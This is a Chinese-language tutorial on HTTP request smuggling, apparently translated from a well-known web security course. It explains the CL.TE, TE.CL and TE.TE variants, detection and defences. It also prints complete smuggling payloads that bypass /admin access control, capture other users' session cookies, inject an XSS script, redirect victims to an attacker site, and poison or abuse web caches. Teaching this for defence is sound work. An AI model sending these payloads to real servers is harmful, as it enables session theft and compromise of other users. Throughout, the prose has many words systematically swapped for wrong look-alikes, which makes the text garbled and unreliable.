乐趣区

关于http:Web-安全-之-HTTP-request-smuggling

HTTP request smuggling

在本节中,咱们将解释什么是 HTTP 申请走私,并形容常见的申请走私破绽是如何产生的。

什么是 HTTP 申请走私

HTTP 申请走私是一种烦扰网站解决多个 HTTP 申请序列的技术。申请走私破绽危害很大,它使攻击者能够绕过安全控制,未经受权拜访敏感数据并间接危害其余应用程序用户。

HTTP 申请走私到底产生了什么

当初的利用架构中常常会应用诸如负载平衡、反向代理、网关等服务,这些服务在链路上起到了一个转发申请给后端服务器的作用,因为地位位于后端服务器的后面,所以本文把他们称为前端服务器。

以后端服务器(转发服务)将 HTTP 申请转发给后端服务器时,它通常会通过与后端服务器之间的同一个网络连接发送多个申请,因为这样做更加高效。协定非常简单:HTTP 申请被一个接一个地发送,承受申请的服务器则解析 HTTP 申请头以确定一个申请的完结地位和下一个申请的开始地位,如下图所示:

在这种状况下,前端服务器(转发服务)与后端系统必须就申请的边界达成统一。否则,攻击者可能会发送一个不置可否的申请,该申请被前端服务器(转发服务)与后端系统以不同的形式解析:

如上图所示,攻击者使上一个申请的一部分被后端服务器解析为下一个申请的开始,这时就会烦扰利用程序处理该申请的形式。这就是申请走私攻打,其可能会造成毁灭性的结果。

HTTP 申请走私破绽是怎么产生的

绝大多数 HTTP 申请走私破绽的呈现是因为 HTTP 标准提供了两种不同的办法来指定申请的完结地位:Content-Length 头和 Transfer-Encoding 头。

Content-Length 头很简略,间接以字节为单位指定音讯体的长度。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encoding 头则能够申明音讯体应用了 chunked 编码,就是音讯体被拆分成了一个或多个分块传输,每个分块的结尾是以后分块大小(以十六进制示意),前面紧跟着 \r\n,而后是分块内容,前面也是 \r\n。音讯的终止分块也是同样的格局,只是其长度为零。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

因为 HTTP 标准提供了两种不同的办法来指定 HTTP 音讯的长度,因而单个音讯中齐全能够同时应用这两种办法,从而使它们互相抵触。HTTP 标准为了防止这种歧义,其申明如果 Content-LengthTransfer-Encoding 同时存在,则 Content-Length 应该被疏忽。当只有一个服务运行时,这种歧义仿佛能够防止,然而当多个服务被连贯在一起时,这种歧义就无奈防止了。在这种状况下,呈现问题有两个起因:

  • 某些服务器不反对申请中的 Transfer-Encoding 头。
  • 某些服务器尽管反对 Transfer-Encoding 头,然而能够通过某种形式进行混同,以诱导不解决此标头。

如果前端服务器(转发服务)和后端服务器解决 Transfer-Encoding 的行为不同,则它们可能在间断申请之间的边界上存在一致,从而导致申请走私破绽。

如何进行 HTTP 申请走私攻打

申请走私攻打须要在 HTTP 申请头中同时应用 Content-LengthTransfer-Encoding,以使前端服务器(转发服务)和后端服务器以不同的形式解决该申请。具体的执行形式取决于两台服务器的行为:

  • CL.TE:前端服务器(转发服务)应用 Content-Length 头,而后端服务器应用 Transfer-Encoding 头。
  • TE.CL:前端服务器(转发服务)应用 Transfer-Encoding 头,而后端服务器应用 Content-Length 头。
  • TE.TE:前端服务器(转发服务)和后端服务器都应用 Transfer-Encoding 头,然而能够通过某种形式混同标头来诱导其中一个服务器不对其进行解决。

CL.TE 破绽

前端服务器(转发服务)应用 Content-Length 头,而后端服务器应用 Transfer-Encoding 头。咱们能够结构一个简略的 HTTP 申请走私攻打,如下所示:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Length: 13<br>
    Transfer-Encoding: chunked<br>
    <br>
    0<br>
</span>
<br>
<span style="color:orange">SMUGGLED</span>

前端服务器(转发服务)应用 Content-Length 确定这个申请体的长度是 13 个字节,直到 SMUGGLED 的结尾。而后申请被转发给了后端服务器。

后端服务器应用 Transfer-Encoding,把申请体当成是分块的,而后解决第一个分块,刚好又是长度为零的终止分块,因而间接认为音讯完结了,而前面的 SMUGGLED 将不予解决,并将其视为下一个申请的开始。

TE.CL 破绽

前端服务器(转发服务)应用 Transfer-Encoding 头,而后端服务器应用 Content-Length 头。咱们能够结构一个简略的 HTTP 申请走私攻打,如下所示:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Length: 3<br>
    Transfer-Encoding: chunked<br>
    <br>
    8<br>
</span>
<span style="color:orange">
    SMUGGLED<br>
    0<br>
    <br>
</span>

留神:下面的 0 前面还有 \r\n\r\n

前端服务器(转发服务)应用 Transfer-Encoding 将音讯体当作分块编码,第一个分块的长度是 8 个字节,内容是 SMUGGLED,第二个分块的长度是 0,也就是终止分块,所以这个申请到这里终止,而后被转发给了后端服务。

后端服务应用 Content-Length,认为音讯体只有 3 个字节,也就是 8\r\n,而剩下的局部将不会解决,并视为下一个申请的开始。

TE.TE 混同 TE 头

前端服务器(转发服务)和后端服务器都应用 Transfer-Encoding 头,然而能够通过某种形式混同标头来诱导其中一个服务器不对其进行解决。

混同 Transfer-Encoding 头的形式可能无穷无尽。例如:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

这些技术中的每一种都与 HTTP 标准有轻微的不同。实现协定标准的理论代码很少以相对的精度恪守协定标准,并且不同的实现通常会容忍与协定标准的不同变动。要找到 TE.TE 破绽,必须找到 Transfer-Encoding 标头的某种变体,以便前端服务器(转发服务)或后端服务器其中之一失常解决,而另外一个服务器则将其疏忽。

依据能够混同诱导不解决 Transfer-Encoding 的是前端服务器(转发服务)还是后端服务,而后的攻击方式则与 CL.TETE.CL 破绽雷同。

如何进攻 HTTP 申请走私破绽

以后端服务器(转发服务)通过同一个网络连接将多个申请转发给后端服务器,且前端服务器(转发服务)与后端服务器对申请边界存在不统一的断定时,就会呈现 HTTP 申请走私破绽。进攻 HTTP 申请走私破绽的一些通用办法如下:

  • 禁用到后端服务器连贯的重用,以便每个申请都通过独自的网络连接发送。
  • 对后端服务器连贯应用 HTTP/2,因为此协定可避免对申请之间的边界产生歧义。
  • 前端服务器(转发服务)和后端服务器应用完全相同的 Web 软件,以便它们就申请之间的界线达成统一。

在某些状况下,能够通过使前端服务器(转发服务)标准歧义申请或使后端服务器回绝歧义申请并敞开网络连接来防止破绽。然而这种办法比下面的通用办法更容易出错。


查找 HTTP 申请走私破绽

在本节中,咱们将介绍用于查找 HTTP 申请走私破绽的不同技术。

计时技术

检测 HTTP 申请走私破绽的最广泛无效的办法就是计时技术。发送申请,如果存在破绽,则应用程序的响应会呈现时间延迟。

应用计时技术查找 CL.TE 破绽

如果利用存在 CL.TE 破绽,那么发送如下申请通常会导致时间延迟:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Transfer-Encoding: chunked<br>
    Content-Length: 4<br>
    <br>
    1<br>
    A
</span>
<br>
<span style="color:orange">X</span>

前端服务器(转发服务)应用 Content-Length 认为音讯体只有 4 个字节,即 1\r\nA,因而前面的 X 被忽略了,而后把这个申请转发给后端。而后端服务应用 Transfer-Encoding 则会始终期待终止分块 0\r\n。这就会导致显著的响应提早。

应用计时技术查找 TE.CL 破绽

如果利用存在 TE.CL 破绽,那么发送如下申请通常会导致时间延迟:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Transfer-Encoding: chunked<br>
    Content-Length: 6<br>
    <br>
    0<br>
    </span>
    <br>
<span style="color:orange">X</span>

前端服务器(转发服务)应用 Transfer-Encoding,因为第一个分块就是 0\r\n 终止分块,因而前面的 X 间接被忽略了,而后把这个申请转发给后端。而后端服务应用 Content-Length 则会始终等到后续 6 个字节的内容。这就会导致显著的提早。

留神:如果应用程序易受 CL.TE 破绽的攻打,则基于工夫的 TE.CL 破绽测试可能会烦扰其余应用程序用户。因而,为了荫蔽并尽量减少烦扰,你应该先进行 CL.TE 测试,只有在失败了之后再进行 TE.CL 测试。

应用差别响应确认 HTTP 申请走私破绽

当检测到可能的申请走私破绽时,能够通过利用该破绽触发应用程序响应内容的差别来获取该破绽进一步的证据。这包含间断向应用程序发送两个申请:

  • 一个攻打申请,旨在烦扰下一个申请的解决。
  • 一个失常申请。

如果对失常申请的响应蕴含预期的烦扰,则破绽被确认。

例如,假如失常申请如下:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

这个申请通常会收到状态码为 200 的 HTTP 响应,响应内容蕴含一些搜寻后果。

攻打申请则取决于申请走私是 CL.TE 还是 TE.CL

应用差别响应确认 CL.TE 破绽

为了确认 CL.TE 破绽,你能够发送如下攻打申请:

<span style="color:blue">
    POST /search HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 49<br>
    Transfer-Encoding: chunked<br>
    <br>
    e<br>
    q=smuggling&amp;x=<br>
    0<br>
    <br>
</span>
<span style="color:orange">
    GET /404 HTTP/1.1<br>
    Foo: x
</span>

如果攻打胜利,则最初两行会被后端服务视为下一个申请的结尾。这将导致紧接着的一个失常的申请变成了如下所示:

<span style="color:orange">
    GET /404 HTTP/1.1<br>
    Foo: x</span><span style="color:green">POST /search HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 11<br>
    <br>
    q=smuggling
</span>

因为这个申请的 URL 当初是一个有效的地址,因而服务器将会作出 404 的响应,这表明攻打申请的确产生了烦扰。

应用差别响应确认 TE.CL 破绽

为了确认 TE.CL 破绽,你能够发送如下攻打申请:

<span style="color:blue">
    POST /search HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 4<br>
    Transfer-Encoding: chunked<br>
    <br>
    7c<br></span>
    <span style="color:orange">GET /404 HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 144<br>
    <br>
    x=<br>
    0<br>
    <br>
</span>

如果攻打胜利,则后端服务器将从 GET / 404 当前的所有内容都视为属于收到的下一个申请。这将会导致随后的失常申请变为:

<span style="color:orange">
    GET /404 HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 146<br>
    <br>
    x=<br>
    0<br>
    <br>
</span> <span style="color:green">
    POST /search HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 11<br>
    <br>
    q=smuggling
</span>

因为这个申请的 URL 当初是一个有效的地址,因而服务器将会作出 404 的响应,这表明攻打申请的确产生了烦扰。

留神,当试图通过烦扰其余申请来确认申请走私破绽时,应记住一些重要的注意事项:

  • “攻打”申请和“失常”申请应该应用不同的网络连接发送到服务器。通过同一个连贯发送两个申请不会证实该破绽存在。
  • “攻打”申请和“失常”申请应尽可能应用雷同的 URL 和参数名。这是因为许多古代应用程序依据 URL 和参数将前端申请路由到不同的后端服务器。应用雷同的 URL 和参数会减少申请被同一个后端服务器解决的可能性,这对于攻打起作用至关重要。
  • 当测试“失常”申请以检测来自“攻打”申请的任何烦扰时,您与应用程序同时接管的任何其余申请(包含来自其余用户的申请)处于竞争状态。您应该在“攻打”申请之后立刻发送“失常”申请。如果应用程序正忙,则可能须要执行屡次尝试来确认该破绽。
  • 在某些利用中,前端服务器充当负载均衡器,依据某种负载平衡算法将申请转发到不同的后端系统。如果您的“攻打”和“失常”申请被转发到不同的后端系统,则攻打将失败。这是您可能须要屡次尝试能力确认破绽的另一个起因。
  • 如果您的攻打胜利地烦扰了后续申请,但这不是您为检测烦扰而发送的“失常”申请,那么这意味着另一个应用程序用户受到了您的攻打的影响。如果您继续执行测试,这可能会对其余用户产生破坏性影响,您应该审慎行事。

利用 HTTP 申请走私破绽

在本节中,咱们将形容 HTTP 申请走私破绽的几种利用办法,这也取决于应用程序的预期性能和其余行为。

利用 HTTP 申请走私破绽绕过前端服务器(转发服务)安全控制

在某些应用程序中,前端服务器(转发服务)不仅用来转发申请,也用来实现了一些安全控制,以决定单个申请是否被转发到后端解决,而后端服务认为承受到的所有申请都曾经通过了平安验证。

假如,某个应用程序应用前端服务器(转发服务)来做访问控制,只有当用户被受权拜访的申请才会被转发给后端服务器,后端服务器承受的所有申请都无需进一步查看。在这种状况下,能够应用 HTTP 申请走私破绽绕过访问控制,将申请走私到后端服务器。

假如以后用户能够拜访 /home,但不能拜访 /admin。他们能够应用以下申请走私攻打绕过此限度:

<span style="color:blue">
    POST /home HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 62<br>
    Transfer-Encoding: chunked<br>
    <br>
    0<br></span>
    <br>
<span style="color:orange">
    GET /admin HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Foo: x</span><span style="color:green">GET /home HTTP/1.1<br>
    Host: vulnerable-website.com
</span>

前端服务器(转发服务)将其视为一个申请,而后进行拜访验证,因为用户领有拜访 /home 的权限,因而把申请转发给后端服务器。然而,后端服务器则将其视为 /home/admin 两个独自的申请,并且认为申请都通过了权限验证,此时 /admin 的访问控制实际上就被绕过了。

前端服务器(转发服务)对申请重写

在许多应用程序中,申请被转发给后端服务之前会进行一些重写,通常是增加一些额定的申请头之类的。例如,转发申请重写可能:

  • 终止 TLS 连贯并增加一些形容应用的协定和密钥之类的头。
  • 增加 X-Forwarded-For 头用来标记用户的 IP 地址。
  • 依据用户的会话令牌确定用户 ID,并增加用于标识用户的头。
  • 增加一些其余攻打感兴趣的敏感信息。

在某些状况下,如果你走私的申请短少一些前端服务器(转发服务)增加的头,那么后端服务可能不会失常解决,从而导致走私申请无奈达到预期的成果。

通常有一些简略的办法能够精确地得悉前端服务器(转发服务)是如何重写申请的。为此,须要执行以下步骤:

  • 找到一个将申请参数的值反映到应用程序响应中的 POST 申请。
  • 随机排列参数,以使反映的参数呈现在音讯体的最初。
  • 将这个申请走私到后端服务器,而后间接发送一个要显示其重写模式的一般申请。

假如应用程序有个登录的性能,其会反映 email 参数:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

响应内容包含:

<input id="email" value="wiener@normal-user.net" type="text">

此时,你能够应用以下申请走私攻打来揭示前端服务器(转发服务)对申请的重写:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Length: 130<br>
    Transfer-Encoding: chunked<br>
    <br>
    0<br>
</span>
<br>
<span style="color:orange">
    POST /login HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 100<br>
    <br>
    email=</span><span style="color:green">POST /login HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    ...
</span>

前端服务器(转发服务)将会重写申请以增加标头,而后后端服务器将解决走私申请,并将第二个申请当作 email 参数的值,且在响应中反映进去:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

留神:因为最初的申请正在重写,你不晓得它须要多长时间完结。走私申请中的 Content-Length 头的值将决定后端服务器解决申请的工夫。如果将此值设置得太短,则只会收到局部重写申请;如果设置得太长,后端服务器将会期待超时。当然,解决方案是猜想一个比提交的申请稍大一点的初始值,而后逐步增大该值以检索更多信息,直到取得感兴趣的所有内容。

一旦理解了转发服务器如何重写申请,就能够对走私的申请进行必要的调整,以确保后端服务器以预期的形式对其进行解决。

捕捉其余用户的申请

如果应用程序蕴含存储和检索文本数据的性能,那么能够应用 HTTP 申请走私去捕捉其余用户申请的内容。这些内容可能包含会话令牌(捕捉后能够进行会话劫持攻打),或其余用户提交的敏感数据。被攻打的性能通常有评论、电子邮件、个人资料、显示昵称等等。

要进行攻打,您须要走私一个将数据提交到存储性能的申请,其中蕴含该数据的参数位于申请的最初。后端服务器解决的下一个申请将追加到走私申请后,后果将存储另一个用户的原始申请。

假如某个应用程序通过如下申请提交博客帖子评论,该评论将存储并显示在博客上:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

你能够执行以下申请走私攻打,目标是让后端服务器将下一个用户申请当作评论内容进行存储并展现:

<span style="color:blue">
    GET / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Transfer-Encoding: chunked<br>
    Content-Length: 324<br>
    <br>
    0<br>
</span>
<span style="color:orange">
    <br>
    POST /post/comment HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 400<br>
    Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO<br>
    <br>
    csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&amp;postId=2&amp;name=Carlos+Montoya&amp;email=carlos%40normal-user.net&amp;website=https%3A%2F%2Fnormal-user.net&amp;comment=
</span>

当下一个用户申请被后端服务器解决时,它将被附加到走私的申请后,后果就是用户的申请,包含会话 cookie 和其余敏感信息会被当作评论内容解决:

<span style="color:orange">
    POST /post/comment HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Type: application/x-www-form-urlencoded<br>
    Content-Length: 400<br>
    Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO<br>
    <br>
    csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&amp;postId=2&amp;name=Carlos+Montoya&amp;email=carlos%40normal-user.net&amp;website=https%3A%2F%2Fnormal-user.net&amp;comment=</span><span style="color:green">GET / HTTP/1.1<br>
        Host: vulnerable-website.com<br>
        Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj<br>
        ...
</span>

最初,间接通过失常的查看评论的形式就能看到其余用户申请的详细信息了。

留神:这种技术的局限性是,它通常只会捕捉始终到走私申请边界符的数据。对于 URL 编码的表单提交,其是 & 字符,这意味着存储的受益用户的申请是直到第一个 & 之间的内容。

应用 HTTP 申请走私进行反射型 XSS 攻打

如果应用程序既存在 HTTP 申请走私破绽,又存在反射型 XSS 破绽,那么你能够应用申请走私攻打应用程序的其余用户。这种办法在两个方面优于个别的反射型 XSS 攻击方式:

  • 它不须要与受益用户交互。你不须要给受益用户发送一个钓鱼链接,而后期待他们拜访。你只须要走私一个蕴含 XSS 无效负载的申请,由后端服务器解决的下一个用户的申请就会命中。
  • 它能够在申请的某些局部(如 HTTP 申请头)中利用 XSS 攻打,而这在失常的反射型 XSS 攻打中无奈轻易管制。

假如某个应用程序在 User-Agent 头上存在反射型 XSS 破绽,那么你能够通过如下所示的申请走私利用此破绽:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Length: 63<br>
    Transfer-Encoding: chunked<br>
    <br>
    0<br></span>
    <br>
<span style="color:orange">
    GET / HTTP/1.1<br>
    User-Agent: &lt;script&gt;alert(1)&lt;/script&gt;<br>
    Foo: X
</span>

此时,下一个用户的申请将被附加到走私的申请后,且他们将在响应中接管到反射型 XSS 的无效负载。

利用 HTTP 申请走私将站内重定向转换为凋谢重定向

许多应用程序依据申请的 HOST 头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的申请将重定向到带斜杠的同一个目录:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

通常,此行为被认为是有害的,然而能够在申请走私攻打中利用它来将其余用户重定向到内部域。例如:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Length: 54<br>
    Transfer-Encoding: chunked<br>
    <br>
    0<br>
</span>
<br>
<span style="color:orange">
    GET /home HTTP/1.1<br>
    Host: attacker-website.com<br>
    Foo: X
</span>

走私申请将会触发一个到攻击者站点的重定向,这将影响到后端服务解决的下一个用户的申请,例如:

<span style="color:orange">
    GET /home HTTP/1.1<br>
    Host: attacker-website.com<br>
    Foo: X</span><span style="color:green">GET /scripts/include.js HTTP/1.1<br>
    Host: vulnerable-website.com<br>
</span>
<br>
    HTTP/1.1 301 Moved Permanently<br>
    Location: https://attacker-website.com/home/

此时,如果用户申请的是一个在 web 站点导入的 JavaScript 文件,那么攻击者能够通过在响应中返回本人的 JavaScript 来齐全管制受益用户。

利用 HTTP 申请走私进行 web cache poisoning

上述攻打的一个变体就是利用 HTTP 申请走私去进行 web cache 投毒。如果前端基础架构中的任何局部应用 cache 缓存,那么可能应用站外重定向响应来毁坏缓存。这种攻打的成果将会继续存在,随后对受净化的 URL 发动申请的所有用户都会中招。

在这种变体攻打中,攻击者发送以下内容到前端服务器:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Length: 59<br>
    Transfer-Encoding: chunked<br>
    <br>
    0<br>
</span>
<br>
<span style="color:orange">
    GET /home HTTP/1.1<br>
    Host: attacker-website.com<br>
    Foo: X</span><span style="color:green">GET /static/include.js HTTP/1.1<br>
    Host: vulnerable-website.com
</span>

后端服务器像之前一样进行站外重定向对走私申请进行响应。前端服务器认为是第二个申请的 URL 的响应,而后进行缓存:

/static/include.js:

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从此刻开始,当其余用户申请此 URL 时,他们都会收到指向攻击者网站的重定向。

利用 HTTP 申请走私进行 web cache poisoning

另一种攻打变体就是利用 HTTP 申请走私去进行 web cache 坑骗。这与 web cache 投毒的形式相似,但目标不同。

web cache poisoning(缓存中毒)和 web cache deception(缓存坑骗)有什么区别?

  • 对于 web cache poisoning(缓存中毒),攻击者会使应用程序在缓存中存储一些歹意内容,这些内容将从缓存提供给其余用户。
  • 对于 web cache deception(缓存坑骗),攻击者使应用程序在缓存中存储属于另一个用户的某些敏感内容,而后攻击者从缓存中检索这些内容。

这种攻打中,攻击者发动一个返回用户特定敏感内容的走私申请。例如:

<span style="color:blue">
    POST / HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Content-Length: 43<br>
    Transfer-Encoding: chunked<br>
    <br>
    0<br>
</span>
<br>
<span style="color:orange">
    GET /private/messages HTTP/1.1<br>
    Foo: X
</span>

来自另一个用户的申请被后端服务器被附加到走私申请后,包含会话 cookie 和其余标头。例如:

<span style="color:orange">
    GET /private/messages HTTP/1.1<br>
    Foo: X
</span>
<span style="color:green">
    GET /static/some-image.png HTTP/1.1<br>
    Host: vulnerable-website.com<br>
    Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z<br>
    ...
</span>

后端服务器以失常形式响应此申请。这个申请是用来获取用户的私人音讯的,且会在受益用户会话的上下文中被失常解决。前端服务器依据第二个申请中的 URL 即 /static/some-image.png 缓存了此响应:

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

而后,攻击者拜访动态 URL,并接管从缓存返回的敏感内容。

这里的一个重要正告是,攻击者不晓得敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私申请失效时凑巧碰到的。攻击者可能须要获取大量动态 URL 来发现捕捉的内容。

退出移动版